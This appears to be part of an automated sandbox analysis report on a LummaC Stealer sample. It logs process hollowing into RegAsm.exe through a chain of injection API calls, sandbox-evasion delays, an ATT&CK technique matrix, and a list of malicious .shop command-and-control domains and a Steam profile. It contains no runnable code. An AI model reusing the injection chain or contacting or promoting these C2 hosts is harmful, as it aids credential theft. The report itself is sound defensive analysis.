Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00437620	2_2_00437620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409737	2_2_00409737
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00403790	2_2_00403790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004327B0	2_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042C891	2_2_0042C891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00449970	2_2_00449970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409A02	2_2_00409A02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00445AD0	2_2_00445AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00449B60	2_2_00449B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042BB00	2_2_0042BB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00427B0F	2_2_00427B0F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00438C00	2_2_00438C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043FD0E	2_2_0043FD0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00449E60	2_2_00449E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00407E70	2_2_00407E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00447EDE	2_2_00447EDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042DEF8	2_2_0042DEF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043EF50	2_2_0043EF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040AFD0	2_2_0040AFD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042DFE0	2_2_0042DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040BF80	2_2_0040BF80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00448F80	2_2_00448F80

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040CAD0 appears 52 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040ED80 appears 194 times

Source: a7HdB2dU5P.exe, 00000000.00000002.1693049512.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs a7HdB2dU5P.exe
Source: a7HdB2dU5P.exe, 00000000.00000000.1678966871.000000000062E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVQP.exe< vs a7HdB2dU5P.exe
Source: a7HdB2dU5P.exe	Binary or memory string: OriginalFilenameVQP.exe< vs a7HdB2dU5P.exe

Source: a7HdB2dU5P.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: a7HdB2dU5P.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@4/2@11/7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004381AA CoCreateInstance,

2_2_004381AA

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\a7HdB2dU5P.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6456:120:WilError_03

Source: a7HdB2dU5P.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: a7HdB2dU5P.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: a7HdB2dU5P.exe

ReversingLabs: Detection: 47%

Source: unknown	Process created: C:\Users\user\Desktop\a7HdB2dU5P.exe "C:\Users\user\Desktop\a7HdB2dU5P.exe"
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: a7HdB2dU5P.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: a7HdB2dU5P.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: a7HdB2dU5P.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00437333 push 04EC839Eh; mov dword ptr [esp], edi

2_2_0043733A

Source: a7HdB2dU5P.exe

Static PE information: section name: .text entropy: 7.995621110986315

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Memory allocated: C60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Memory allocated: 28C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Memory allocated: 48C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe TID: 6544	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5968	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: RegAsm.exe, 00000002.00000002.1795323805.0000000001265000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00447560 LdrInitializeThunk,

2_2_00447560

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe

Code function: 0_2_028C2145 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_028C2145

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: a7HdB2dU5P.exe, 00000000.00000002.1694307717.00000000038C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: reinforcenh.shop
Source: a7HdB2dU5P.exe, 00000000.00000002.1694307717.00000000038C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stogeneratmns.shop
Source: a7HdB2dU5P.exe, 00000000.00000002.1694307717.00000000038C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: fragnantbui.shop
Source: a7HdB2dU5P.exe, 00000000.00000002.1694307717.00000000038C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: drawzhotdog.shop
Source: a7HdB2dU5P.exe, 00000000.00000002.1694307717.00000000038C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: vozmeatillu.shop
Source: a7HdB2dU5P.exe, 00000000.00000002.1694307717.00000000038C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: offensivedzvju.shop
Source: a7HdB2dU5P.exe, 00000000.00000002.1694307717.00000000038C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ghostreedmnu.shop
Source: a7HdB2dU5P.exe, 00000000.00000002.1694307717.00000000038C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: gutterydhowi.shop
Source: a7HdB2dU5P.exe, 00000000.00000002.1694307717.00000000038C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: lootebarrkeyn.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44D000	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 460000	Jump to behavior
Source: C:\Users\user\Desktop\a7HdB2dU5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: F4E008	Jump to behavior

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\a7HdB2dU5P.exe

Queries volume information: C:\Users\user\Desktop\a7HdB2dU5P.exe VolumeInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 PowerShell	1 DLL Side-Loading	411 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	2 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	12 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	411 Process Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
a7HdB2dU5P.exe	47%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla

Source	Detection	Scanner	Label
https://player.vimeo.com	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://medal.tv	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe
https://login.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	0%	Avira URL Cloud	safe
https://drawzhotdog.shop/api	100%	Avira URL Cloud	malware
https://gutterydhowi.shop/api	100%	Avira URL Cloud	malware
stogeneratmns.shop	100%	Avira URL Cloud	malware
https://performenj.shop/vo	100%	Avira URL Cloud	malware
https://offensivedzvju.shop/	100%	Avira URL Cloud	malware
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
lootebarrkeyn.shop	100%	Avira URL Cloud	malware
reinforcenh.shop	100%	Avira URL Cloud	malware
https://performenj.shop/apiG	100%	Avira URL Cloud	malware
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://www.youtube.com	0%	Avira URL Cloud	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://drawzhotdog.shop/	100%	Avira URL Cloud	malware
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://www.google.com	0%	Avira URL Cloud	safe
https://reinforcenh.shop/api2	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WnGP	0%	Avira URL Cloud	safe
https://steamcommunity.com/K	0%	Avira URL Cloud	safe
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a	0%	Avira URL Cloud	safe
ghostreedmnu.shop	100%	Avira URL Cloud	malware
https://reinforcenh.shop/api	100%	Avira URL Cloud	malware
https://reinforcenh.shop/	100%	Avira URL Cloud	malware
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://performenj.shop/	100%	Avira URL Cloud	malware
https://sketchfab.com	0%	Avira URL Cloud	safe
https://vozmeatillu.shop/api	100%	Avira URL Cloud	malware
https://stogeneratmns.shop/api	100%	Avira URL Cloud	malware
https://vozmeatillu.shop/Y	100%	Avira URL Cloud	malware
https://www.youtube.com/	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	0%	Avira URL Cloud	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
http://127.0.0.1:27060	0%	Avira URL Cloud	safe
https://help.steampowered.com/	0%	URL Reputation	safe
https://api.steampowered.com/	0%	URL Reputation	safe
http://store.steampowered.com/account/cookiepreferences/	0%	URL Reputation	safe
gutterydhowi.shop	100%	Avira URL Cloud	malware
fragnantbui.shop	100%	Avira URL Cloud	malware
https://ghostreedmnu.shop/api	100%	Avira URL Cloud	malware
https://fragnantbui.shop/api	100%	Avira URL Cloud	malware
https://store.steampowered.com/;	0%	URL Reputation	safe
https://stogeneratmns.shop/apiD	100%	Avira URL Cloud	malware
https://offensivedzvju.shop/api	100%	Avira URL Cloud	malware
https://www.google.com/recaptcha/	0%	Avira URL Cloud	safe
https://performenj.shop/G	100%	Avira URL Cloud	malware
offensivedzvju.shop	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=PzKBszTg	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199724331900/badges	100%	URL Reputation	malware
https://performenj.shop/api	100%	Avira URL Cloud	malware
drawzhotdog.shop	100%	Avira URL Cloud	malware
https://steamcommunity.com/	0%	Avira URL Cloud	safe
vozmeatillu.shop	100%	Avira URL Cloud	malware
https://steamcommunity.com/x	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fragnantbui.shop	188.114.97.3	true	true	unknown
performenj.shop	172.67.189.2	true	true	unknown
gutterydhowi.shop	104.21.4.136	true	true	unknown
steamcommunity.com	104.102.49.254	true	false	unknown
offensivedzvju.shop	188.114.96.3	true	true	unknown
stogeneratmns.shop	188.114.96.3	true	true	unknown
reinforcenh.shop	104.21.77.130	true	true	unknown
drawzhotdog.shop	104.21.58.182	true	true	unknown
ghostreedmnu.shop	188.114.97.3	true	true	unknown
vozmeatillu.shop	188.114.96.3	true	true	unknown
lootebarrkeyn.shop	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://drawzhotdog.shop/api	true	Avira URL Cloud: malware	unknown
lootebarrkeyn.shop	true	Avira URL Cloud: malware	unknown
https://gutterydhowi.shop/api	true	Avira URL Cloud: malware	unknown
reinforcenh.shop	true	Avira URL Cloud: malware	unknown
stogeneratmns.shop	true	Avira URL Cloud: malware	unknown
https://reinforcenh.shop/api	true	Avira URL Cloud: malware	unknown
ghostreedmnu.shop	true	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
https://vozmeatillu.shop/api	true	Avira URL Cloud: malware	unknown
https://stogeneratmns.shop/api	true	Avira URL Cloud: malware	unknown
https://ghostreedmnu.shop/api	true	Avira URL Cloud: malware	unknown
fragnantbui.shop	true	Avira URL Cloud: malware	unknown
gutterydhowi.shop	true	Avira URL Cloud: malware	unknown
https://offensivedzvju.shop/api	true	Avira URL Cloud: malware	unknown
https://fragnantbui.shop/api	true	Avira URL Cloud: malware	unknown
offensivedzvju.shop	true	Avira URL Cloud: malware	unknown
drawzhotdog.shop	true	Avira URL Cloud: malware	unknown
https://performenj.shop/api	true	Avira URL Cloud: malware	unknown
vozmeatillu.shop	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://performenj.shop/vo	RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 00000002.00000002.1795323805.000000000130E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	RegAsm.exe, 00000002.00000002.1795323805.000000000130E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://recaptcha.net/recaptcha/;	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://offensivedzvju.shop/	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://performenj.shop/apiG	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.youtube.com	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
